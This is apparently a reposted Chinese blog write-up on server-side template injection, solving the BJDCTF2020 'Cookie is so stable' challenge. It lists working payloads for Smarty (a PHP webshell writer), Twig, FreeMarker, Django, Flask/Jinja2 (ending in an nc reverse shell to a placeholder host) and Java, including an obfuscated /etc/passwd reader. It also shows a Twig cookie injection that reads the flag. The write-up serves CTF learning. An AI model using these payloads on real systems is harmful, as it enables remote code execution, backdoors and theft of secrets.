SSTI 模板注入漏洞总结之[BJDCTF2020]Cookie is so stable

知识点:

关于ssti漏洞利用payload:PayloadsAllTheThings/Server Side Template Injection at master · swisskyrepo/PayloadsAllTheThings · GitHub

模板注入漏洞总结:参考:很全的总结:https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2—debug-statement一篇文章带你理解漏洞之 SSTI 漏洞 | K0rz3n’s Blog

1.常用的模板引擎

PHP:smarty Twig Blade;

python : jinja2 django tornado

java : JSP FreeMarker Velocity

当在服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题.

具体看参考;下面讲使用;

注入检测:工具:GitHub – epinna/tplmap: Server-Side Template Injection and Code Injection Detection and Exploitation Tool

使用:

Tplmap的安装与用法(内包含解决缺少库报错的处理教程)_小 白 萝 卜的博客-CSDN博客_tplmap

SSTI 模板注入漏洞总结之[BJDCTF2020]Cookie is so stable

Twig
{{7‘7’}} 输出49
Jinja
{{7
‘7’}}输出7777777

攻击:

攻击方向:

找到模板注入主要从三个方向进行攻击

(1)模板本身
(2)框架本身
(3)语言本身

1.模板本身;

(1)Smarty

payload

打开文件

{self::getStreamVariable("file:///proc/self/loginuid")}

写后门:

{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

(2)Twig

payload:其中id是命令;

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

(3)freeMarker

<#assign ex="freemarker.template.utility.Execute" ?new()> ${ ex("id") }</#assign>

2.利用框架本身的特性进行攻击

1).Django

http://localhost:8000/?email={user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}

http://localhost:8000/?email={user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}

2).Flask/Jinja2

config 是Flask模版中的一个全局对象,它代表”当前配置对象(flask.config)”,它是一个类字典的对象,它包含了所有应用程序的配置值。在大多数情况下,它包含了比如数据库链接字符串,连接到第三方的凭证,SECRET_KEY等敏感值。虽然config是一个类字典对象,但是通过查阅文档可以发现 config 有很多神奇的方法:from_envvar, from_object, from_pyfile, 以及root_path。

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from os import system%0aSHELL = system') }}
//&#x5199;&#x6587;&#x4EF6;
{{ config.from_pyfile('/tmp/evil') }}
//&#x52A0;&#x8F7D;system
{{ config['SHELL']('nc xxxx xx -e /bin/sh') }}
//&#x6267;&#x884C;&#x547D;&#x4EE4;&#x53CD;&#x5F39;SHELL

3).Tornado

http://117.78.26.79:31093/error?msg={{handler.settings}}

3 .利用模语言本身的特性进行攻击

1)python

Python 沙盒逃逸备忘 | K0rz3n’s Blog

2).JAVA

payload:

${T(java.lang.System).getenv()}

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

当然要是文件操作就要用另外的类了,思路是不变的

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

回到题目:
在flag界面输入{{7*7}}

回显49;

存在模板注入;

题目提示cookie;

抓包看看:也可以F12 网络查看数据包发现;

SSTI 模板注入漏洞总结之[BJDCTF2020]Cookie is so stable

有一个set-cookie;

也就是模板注入的地方:

先使用sytem()试试;

SSTI 模板注入漏洞总结之[BJDCTF2020]Cookie is so stable

不行,再看看这是什么类型的注入:

使用{{7*’7′}} 还是回显49,看来是Twig;

直接上payload:

{{_self.env.registerUndefinedFilterCallback(“exec”)}}{{_self.env.getFilter(“cat /flag”)}}

(要在第二个数据包中构造cookie的user;下图是第一个,在参数username直接构造不是不行的)

SSTI 模板注入漏洞总结之[BJDCTF2020]Cookie is so stable

可以用F12看看数据包:

SSTI 模板注入漏洞总结之[BJDCTF2020]Cookie is so stable

SSTI 模板注入漏洞总结之[BJDCTF2020]Cookie is so stable

Original: https://blog.csdn.net/qq_58970968/article/details/125952805
Author: 一只Traveler
Title: SSTI 模板注入漏洞总结之[BJDCTF2020]Cookie is so stable

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/745221/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球